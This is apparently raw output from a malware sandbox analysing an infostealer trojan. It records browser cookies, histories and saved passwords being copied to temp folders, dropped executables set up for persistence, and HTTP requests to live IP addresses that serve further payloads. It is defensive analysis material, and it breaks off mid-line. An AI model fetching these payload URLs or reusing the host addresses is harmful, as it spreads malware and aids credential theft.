"C:\Users\%OSUSER%\AppData\Local\Temp\jobA4OpGWreR7plfwx\D87fZN3R3jFeWeb Data" "974c9.Trojan.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\jobA4OpGWreR7plfwx\02zdBXl47cvzHistory" "974c9.Trojan.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\jobA4OpGWreR7plfwx\3b6N2Xdh3CYwWeb Data" "974c9.Trojan.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\jobA4OpGWreR7plfwx\oOPEmFmu_xsJCookies" "974c9.Trojan.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\jobA4OpGWreR7plfwx\IWPfiAXUTJTSHistory" "974c9.Trojan.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\jobA4OpGWreR7plfwx\QdX9ITDLyCRBWeb Data" "974c9.Trojan.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\jobA3OpGWreR7plfwx\passwords.txt" "974c9.Trojan.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\jobA3OpGWreR7plfwx\Cookies\Firefox_ywzu7870.default.txt" "974c9.Trojan.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\jobA3OpGWreR7plfwx\Downloads\Edge_Default.txt" "974c9.Trojan.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\jobA3OpGWreR7plfwx\Cookies\Edge_Default.txt"4e:T1d8a,"RageMP131.exe.bin" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- [targetUID: N/A] "vinu_1_.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- [targetUID: N/A] "ko_1_.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- [targetUID: N/A] "9Ctcn6an256JgA0A8CaB.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\jobA4OpGWreR7plfwx\9Ctcn6an256JgA0A8CaB.exe]- [targetUID: 00000000-00007764] "urlref_httpswww.youtube.com" has type "HTML document UTF-8 Unicode text with very long lines"- [targetUID: N/A] "explorhe.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\d887ceb89d\explorhe.exe]- [targetUID: 00000000-00008112] "urlref_httpsaccounts.google.com" has type "HTML document UTF-8 Unicode text with very long lines"- [targetUID: N/A] "rdxx1.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\1000666001\rdxx1.exe]- [targetUID: 00000000-00006352] "rdx1122_1_.exe" has type "PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows"- [targetUID: N/A] "clip64_1_.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- [targetUID: N/A] "niks_1_.exe" has type "PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows"- [targetUID: N/A] "HaHIGF310vbb4fU3fDiY.exe.log" has type "CSV text"- Location: [%LOCALAPPDATA%\Microsoft\CLR_v4.0_32\UsageLogs\HaHIGF310vbb4fU3fDiY.exe.log]- [targetUID: 00000000-00007512] "cred64.dll" has type "HTML document ASCII text with CRLF line terminators"- Location: [%APPDATA%\006700e5a2ab05\cred64.dll]- [targetUID: 00000000-00004036] "rdxx1.exe.log" has type "ASCII text with CRLF line terminators"- Location: [%LOCALAPPDATA%\Microsoft\CLR_v4.0_32\UsageLogs\rdxx1.exe.log]- [targetUID: 00000000-00006352] "rdx1122.exe.log" has type "ASCII text with CRLF line terminators"- Location: [%LOCALAPPDATA%\Microsoft\CLR_v4.0_32\UsageLogs\rdx1122.exe.log]- [targetUID: 00000000-00007440] "D87fZN3R3jFeplaces.sqlite" has type "SQLite 3.x database user version 52 last written using SQLite version 3025001"- Location: [%TEMP%\jobA4OpGWreR7plfwx\D87fZN3R3jFeplaces.sqlite]- [targetUID: 00000000-00007764] "02zdBXl47cvzcookies.sqlite" has type "SQLite 3.x database user version 9 last written using SQLite version 3020001"- Location: [%TEMP%\jobA4OpGWreR7plfwx\02zdBXl47cvzcookies.sqlite]- [targetUID: 00000000-00007764] "8ghN89CsjOW1formhistory.sqlite" has type "SQLite 3.x database user version 4 last written using SQLite version 3020001"- Location: [%TEMP%\jobA4OpGWreR7plfwx\8ghN89CsjOW1formhistory.sqlite]- [targetUID: 00000000-00007764] "IWPfiAXUTJTSHistory" has type "SQLite 3.x database last written using SQLite version 3039003"- Location: [%TEMP%\jobA4OpGWreR7plfwx\IWPfiAXUTJTSHistory]- [targetUID: 00000000-00007764] "D87fZN3R3jFeWeb Data" has type "SQLite 3.x database last written using SQLite version 3039003"- Location: [%TEMP%\jobA4OpGWreR7plfwx\D87fZN3R3jFeWeb Data]- [targetUID: 00000000-00007764] "urlref_httpswww.facebook.comlogin" has type "HTML document UTF-8 Unicode text with very long lines"- [targetUID: N/A] "Ei8DrAmaYu9KLogin Data" has type "SQLite 3.x database last written using SQLite version 3038005"- Location: [%TEMP%\jobA4OpGWreR7plfwx\Ei8DrAmaYu9KLogin Data]- [targetUID: 00000000-00007764] "oOPEmFmu_xsJCookies" has type "SQLite 3.x database last written using SQLite version 3039003"- Location: [%TEMP%\jobA4OpGWreR7plfwx\oOPEmFmu_xsJCookies]- [targetUID: 00000000-00007764] "owq8t6swpKcxqwUF89lgvLVPrEWsPSb9.zip" has type "Zip archive data at least v2.0 to extract"- Location: [%TEMP%\owq8t6swpKcxqwUF89lgvLVPrEWsPSb9.zip]- [targetUID: 00000000-00007764] "Firefox_ywzu7870.default.txt" has type "ASCII text with very long lines with CRLF line terminators"- Location: [%TEMP%\jobA3OpGWreR7plfwx\Cookies\Firefox_ywzu7870.default.txt]- [targetUID: 00000000-00007764] "Edge_Default.txt" has type "ASCII text with very long lines with CRLF line terminators"- Location: [%TEMP%\jobA3OpGWreR7plfwx\Cookies\Edge_Default.txt]- [targetUID: 00000000-00007764] "passwords.txt" has type "UTF-8 Unicode text with CRLF LF line terminators"- Location: [%TEMP%\jobA3OpGWreR7plfwx\passwords.txt]- [targetUID: 00000000-00007764] "information.txt" has type "ASCII text with CRLF LF line terminators"- Location: [%TEMP%\jobA3OpGWreR7plfwx\information.txt]- [targetUID: 00000000-00007764] "Edge_Default.txt" has type "ASCII text"- Location: [%TEMP%\jobA3OpGWreR7plfwx\Downloads\Edge_Default.txt]- [targetUID: 00000000-00007764] "RageMP131.exe%3AZone.Identifier" has type "ASCII text with CRLF line terminators"- [targetUID: N/A] "F59E91F8" has type "data"- Location: [%TEMP%\F59E91F8]- [targetUID: 00000000-00008112] "rage131MP.tmp" has type "ASCII text with no line terminators"- Location: [%TEMP%\rage131MP.tmp]- [targetUID: 00000000-00007764] "RageMP131.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\RageMP131\RageMP131.exe]- [targetUID: 00000000-00007764] "MPGPH131.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%ALLUSERSPROFILE%\MPGPH131\MPGPH131.exe]- [targetUID: 00000000-00007764] "2Sz9u8LqhC5hU2hE9Hgc.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\jobA4OpGWreR7plfwx\2Sz9u8LqhC5hU2hE9Hgc.exe]- [targetUID: 00000000-00007764] "_cN98WdsB1IEWbc3Zx4D.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\jobA4OpGWreR7plfwx\_cN98WdsB1IEWbc3Zx4D.exe]- [targetUID: 00000000-00007248] "networa_1_.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- [targetUID: N/A] "amers_1_.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- [targetUID: N/A] "explorhe.exe.bin" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- [targetUID: N/A] "cjV6Q2vxV7zvCn3KN9LD.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\jobA4OpGWreR7plfwx\cjV6Q2vxV7zvCn3KN9LD.exe]- [targetUID: 00000000-00008112] "rdxx1_1_.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- [targetUID: N/A] "rdx1122.exe" has type "PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows"- Location: [%TEMP%\1000664001\rdx1122.exe]- [targetUID: 00000000-00007440] "clip64.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%APPDATA%\006700e5a2ab05\clip64.dll]- [targetUID: 00000000-00004036] "HaHIGF310vbb4fU3fDiY.exe" has type "PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows"- Location: [%TEMP%\jobA4OpGWreR7plfwx\HaHIGF310vbb4fU3fDiY.exe]- [targetUID: 00000000-00007512] "3b6N2Xdh3CYwplaces.sqlite" has type "SQLite 3.x database user version 52 last written using SQLite version 3025001"- Location: [%TEMP%\jobA4OpGWreR7plfwx\3b6N2Xdh3CYwplaces.sqlite]- [targetUID: 00000000-00007764] "02zdBXl47cvzHistory" has type "SQLite 3.x database last written using SQLite version 3039003"- Location: [%TEMP%\jobA4OpGWreR7plfwx\02zdBXl47cvzHistory]- [targetUID: 00000000-00007764] "QdX9ITDLyCRBWeb Data" has type "SQLite 3.x database last written using SQLite version 3039003"- Location: [%TEMP%\jobA4OpGWreR7plfwx\QdX9ITDLyCRBWeb Data]- [targetUID: 00000000-00007764] "3b6N2Xdh3CYwWeb Data" has type "SQLite 3.x database last written using SQLite version 3039003"- Location: [%TEMP%\jobA4OpGWreR7plfwx\3b6N2Xdh3CYwWeb Data]- [targetUID: 00000000-00007764] "MPGPH131.exe%3AZone.Identifier" has type "ASCII text with CRLF line terminators"- [targetUID: N/A]4f:Tf56,"974c9.Trojan.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: ""; Value: "") "974c9.Trojan.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\APPID_CATALOG"; Key: ""; Value: "") "974c9.Trojan.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\APPID_CATALOG\0EF8EB16"; Key: ""; Value: "") "974c9.Trojan.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: ""; Value: "") "974c9.Trojan.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\0000000B"; Key: ""; Value: "") "974c9.Trojan.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES"; Key: ""; Value: "") "974c9.Trojan.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000001"; Key: ""; Value: "") "974c9.Trojan.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000002"; Key: ""; Value: "") "974c9.Trojan.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000003"; Key: ""; Value: "") "974c9.Trojan.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000004"; Key: ""; Value: "") "974c9.Trojan.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000005"; Key: ""; Value: "") "974c9.Trojan.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000006"; Key: ""; Value: "") "974c9.Trojan.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000007"; Key: ""; Value: "") "974c9.Trojan.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000008"; Key: ""; Value: "") "974c9.Trojan.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000009"; Key: ""; Value: "") "974c9.Trojan.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000010"; Key: ""; Value: "") "974c9.Trojan.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000011"; Key: ""; Value: "") "974c9.Trojan.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000012"; Key: ""; Value: "") "974c9.Trojan.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000013"; Key: ""; Value: "") "974c9.Trojan.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000014"; Key: ""; Value: "") "974c9.Trojan.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\NAMESPACE_CATALOG5"; Key: ""; Value: "") "974c9.Trojan.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\NAMESPACE_CATALOG5\00000014"; Key: ""; Value: "") "974c9.Trojan.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\NAMESPACE_CATALOG5\CATALOG_ENTRIES"; Key: ""; Value: "") "974c9.Trojan.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\NAMESPACE_CATALOG5\CATALOG_ENTRIES\000000000001"; Key: ""; Value: "")50:T9f2,"974c9.Trojan.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "WINSOCK_REGISTRY_VERSION"; Value: "") "974c9.Trojan.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "NAMESPACE_CALLOUT"; Value: "") "974c9.Trojan.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "SERIAL_ACCESS_NUM"; Value: "") "974c9.Trojan.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "NEXT_CATALOG_ENTRY_ID"; Value: "") "974c9.Trojan.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "NUM_CATALOG_ENTRIES"; Value: "") "974c9.Trojan.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000001"; Key: "PACKEDCATALOGITEM"; Value: "") "974c9.Trojan.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000002"; Key: "PACKEDCATALOGITEM"; Value: "") "974c9.Trojan.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000003"; Key: "PACKEDCATALOGITEM"; Value: "") "974c9.Trojan.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000004"; Key: "PACKEDCATALOGITEM"; Value: "") "974c9.Trojan.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000005"; Key: "PACKEDCATALOGITEM"; Value: "") "974c9.Trojan.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000006"; Key: "PACKEDCATALOGITEM"; Value: "") "974c9.Trojan.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000007"; Key: "PACKEDCATALOGITEM"; Value: "") "974c9.Trojan.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000008"; Key: "PACKEDCATALOGITEM"; Value: "") "974c9.Trojan.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000009"; Key: "PACKEDCATALOGITEM"; Value: "")51:T9c5,"974c9.Trojan.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache" "974c9.Trojan.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCookies" "974c9.Trojan.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\History" "974c9.Trojan.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache\IE\T1MM1X3A\ko[1].exe" "974c9.Trojan.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches" "974c9.Trojan.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache\IE\LSCBY323\amers[1].exe" "974c9.Trojan.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache\IE\9SSPAW46\niks[1].exe" "974c9.Trojan.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache\IE\4EKOOWYY\vinu[1].exe" "974c9.Trojan.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache\IE\T1MM1X3A\networa[1].exe" "_cN98WdsB1IEWbc3Zx4D.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache" "_cN98WdsB1IEWbc3Zx4D.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCookies" "_cN98WdsB1IEWbc3Zx4D.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\History" "_cN98WdsB1IEWbc3Zx4D.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches" "_cN98WdsB1IEWbc3Zx4D.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\INetCache" "_cN98WdsB1IEWbc3Zx4D.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\INetCookies" "_cN98WdsB1IEWbc3Zx4D.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\History" "_cN98WdsB1IEWbc3Zx4D.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches" "cjV6Q2vxV7zvCn3KN9LD.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches" "cjV6Q2vxV7zvCn3KN9LD.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches" "explorhe.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches" "explorhe.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache" "explorhe.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCookies" "explorhe.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\History" "explorhe.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache\IE\LSCBY323\clip64[1].dll" "explorhe.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\INetCache\IE\9SSPAW46\rdx1122[1].exe"52:T68f,"974c9.Trojan.exe" trying to access non-existent file "C:\SHFolder.dll" "974c9.Trojan.exe" trying to access non-existent file "C:\974c9.Trojan.ENU.DLL" "974c9.Trojan.exe" trying to access non-existent file "C:\974c9.Trojan.EN.DLL" "974c9.Trojan.exe" trying to access non-existent file "C:\schtasks.exe" "974c9.Trojan.exe" trying to access non-existent file "schtasks.exe" "974c9.Trojan.exe" trying to access non-existent file "C:\winhttp.dll" "974c9.Trojan.exe" trying to access non-existent file "C:\WININET.DLL" "974c9.Trojan.exe" trying to access non-existent file "C:\DEVOBJ.dll" "974c9.Trojan.exe" trying to access non-existent file "C:\webio.dll" "974c9.Trojan.exe" trying to access non-existent file "C:\IPHLPAPI.DLL" "974c9.Trojan.exe" trying to access non-existent file "C:\winnlsres.dll" "974c9.Trojan.exe" trying to access non-existent file "C:\bcrypt.dll" "974c9.Trojan.exe" trying to access non-existent file "C:\CRYPTSP.dll" "974c9.Trojan.exe" trying to access non-existent file "C:\vaultcli.dll" "974c9.Trojan.exe" trying to access non-existent file "C:\DPAPI.DLL" "974c9.Trojan.exe" trying to access non-existent file "C:\DPAPI.dll" "974c9.Trojan.exe" trying to access non-existent file "C:\iertutil.dll" "974c9.Trojan.exe" trying to access non-existent file "C:\urlmon.dll" "974c9.Trojan.exe" trying to access non-existent file "C:\WINDOWS\system32\rpcss.dll" "974c9.Trojan.exe" trying to access non-existent file "C:\CLDAPI.dll" "974c9.Trojan.exe" trying to access non-existent file "C:\AEPIC.dll" "974c9.Trojan.exe" trying to access non-existent file "C:\PROPSYS.dll" "974c9.Trojan.exe" trying to access non-existent file "C:\edputil.dll"53:T50d,"974c9.Trojan.exe" writes file "c:\users\%osuser%\appdata\local\temp\f59e91f8" "974c9.Trojan.exe" writes file "c:\users\%osuser%\appdata\local\ragemp131\ragemp131.exe" "974c9.Trojan.exe" writes file "c:\users\%osuser%\appdata\local\ragemp131\ragemp131.exe:zone.identifier" "974c9.Trojan.exe" writes file "c:\programdata\mpgph131\mpgph131.exe" "974c9.Trojan.exe" writes file "c:\programdata\mpgph131\mpgph131.exe:zone.identifier" "974c9.Trojan.exe" writes file "c:\users\%osuser%\appdata\local\temp\rage131mp.tmp" "974c9.Trojan.exe" writes file "c:\users\%osuser%\appdata\local\temp\joba4opgwrer7plfwx\ei8dramayu9klogin data" "974c9.Trojan.exe" writes file "c:\users\%osuser%\appdata\local\temp\joba4opgwrer7plfwx\d87fzn3r3jfeweb data" "974c9.Trojan.exe" writes file "c:\users\%osuser%\appdata\local\temp\joba4opgwrer7plfwx\02zdbxl47cvzhistory" "974c9.Trojan.exe" writes file "c:\users\%osuser%\appdata\local\temp\joba4opgwrer7plfwx\3b6n2xdh3cywweb data" "974c9.Trojan.exe" writes file "c:\users\%osuser%\appdata\local\temp\joba4opgwrer7plfwx\oopemfmu_xsjcookies" "974c9.Trojan.exe" writes file "c:\users\%osuser%\appdata\local\temp\joba4opgwrer7plfwx\iwpfiaxutjtshistory" "974c9.Trojan.exe" writes file "c:\users\%osuser%\appdata\local\temp\joba4opgwrer7plfwx\qdx9itdlycrbweb data"54:Tf03,Found reference to API "HttpOpenRequestA" (Indicator: "HttpOpenRequest"; File: "00000000-00004204.00000000.70154.0143D000.00000040.mdmp") Found reference to API "InternetOpenA" (Indicator: "InternetOpen"; Source: "00000000-00007764-00000C26-35663209") Found reference to API "InternetConnectA" (Indicator: "InternetConnect"; Source: "00000000-00007764-00000C26-35663373") Found reference to API "InternetOpenUrlA" (Indicator: "InternetOpen"; Source: "00000000-00007764-00000C26-35663424") Found reference to API "HttpQueryInfoA" (Indicator: "HttpQueryInfo"; Source: "00000000-00007764-00000C26-35663467") Found reference to API "HttpSendRequestA" (Indicator: "HttpSendRequest"; Source: "00000000-00007764-00000C26-35663551") Found reference to API "InternetReadFile" (Indicator: "InternetReadFile"; Source: "00000000-00007764-00000C26-35663590") Found reference to API "WSASend" (Indicator: "WSASend"; Source: "00000000-00007764-00000C26-39053518") Found reference to API "WinHttpConnect" (Indicator: "WinHttpConnect"; Source: "00000000-00007764-00000C26-39386580") Found reference to API "WinHttpQueryHeaders" (Indicator: "WinHttpQueryHeaders"; Source: "00000000-00007764-00000C26-39386630") Found reference to API "WinHttpOpen" (Indicator: "WinHttpOpen"; Source: "00000000-00007764-00000C26-39386671") Found reference to API "WinHttpOpenRequest" (Indicator: "HttpOpenRequest"; Source: "00000000-00007764-00000C26-39386719") Found reference to API "WinHttpOpenRequest" (Indicator: "WinHttpOpen"; Source: "00000000-00007764-00000C26-39386719") Found reference to API "WinHttpOpenRequest" (Indicator: "WinHttpOpenRequest"; Source: "00000000-00007764-00000C26-39386719") Found reference to API "WinHttpSendRequest" (Indicator: "HttpSendRequest"; Source: "00000000-00007764-00000C26-39386826") Found reference to API "WinHttpSendRequest" (Indicator: "WinHttpSendRequest"; Source: "00000000-00007764-00000C26-39386826") Found reference to API "WinHttpReadData" (Indicator: "WinHttpReadData"; Source: "00000000-00007764-00000C26-39386949") Found reference to API "InternetOpenW" (Indicator: "InternetOpen"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp, 00000000-00004036.00000001.70585.03633000.00000004.mdmp, 00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found reference to API "InternetConnectA" (Indicator: "InternetConnect"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp, 00000000-00004036.00000001.70585.03633000.00000004.mdmp, 00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found reference to API "HttpOpenRequestA" (Indicator: "HttpOpenRequest"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp, 00000000-00004036.00000001.70585.03633000.00000004.mdmp, 00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found reference to API "HttpSendRequestA" (Indicator: "HttpSendRequest"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp, 00000000-00004036.00000001.70585.03633000.00000004.mdmp, 00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found reference to API "InternetReadFile" (Indicator: "InternetReadFile"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp, 00000000-00004036.00000001.70585.03633000.00000004.mdmp, 00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found reference to API "76159682500,1304,3200,,HttpOpenRequestA,Wininet.dll,"00:18:19.671",RX=0,PX=0" (Indicator: "HttpOpenRequest"; Source: "00000000-00004036.00000001.70585.03633000.00000004.mdmp, 00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found reference to API "HttpOpenRequestA" (Indicator: "HttpOpenRequest"; Source: "00000000-00004204.00000000.70154.0143D000.00000040.mdmp") Found reference to API "WSASend" (Indicator: "WSASend"; Source: "00000000-00006224.00000000.68161.00F51000.00000040.mdmp")55:Ta01,"109.107.182.3" "185.215.113.68" Potential IP "185.215.113.68" found in string "GET /theme/Plugins/cred64.dll HTTP/1.1Host: 185.215.113.68" Potential IP "185.215.113.68" found in string "GET /theme/Plugins/clip64.dll HTTP/1.1Host: 185.215.113.68" Potential IP "109.107.182.3" found in string "GET /lego/rdx1122.exe HTTP/1.1Host: 109.107.182.3" Potential IP "109.107.182.3" found in string "GET /lego/rdxx1.exe HTTP/1.1Host: 109.107.182.3" Potential IP "67.218.111.202" found in string "/widget/demo/67.218.111.202" Potential IPs "67.218.111.202" "67.218.111.202" found in string "{ "input": "67.218.111.202", "data": { "ip": "67.218.111.202", "city": "San Jose", "region": "California", "country": "US", "loc": "37.3394 -121.8950", "org": "AS11404 Wave Broadband", "postal": "95103", "timezone": "America", Potential IP "109.107.182.3" found in string "http://109.107.182.3/lego/rdx1122.exe", "192.168.243.1", Potential IP "109.107.182.3" found in string "ttp://109.107.182.3/lego/rdx1122.exe", Potential IP "185.215.113.68" found in string "ttp://185.215.113.68/theme/Plugins/cred64.dll", "09.107.182.3", "85.215.113.68", Potential IP "109.107.182.3" found in string "ttp://109.107.182.3/", Potential IP "185.215.113.68" found in string "ttp://185.215.113.68/theme/index.php", Potential IP "185.215.113.68" found in string "http://185.215.113.68/theme/index.php", Potential IP "185.215.113.68" found in string "http://185.215.113.68/\Microsoft\Windows\INetCache\IE", Potential IP "185.215.113.68" found in string 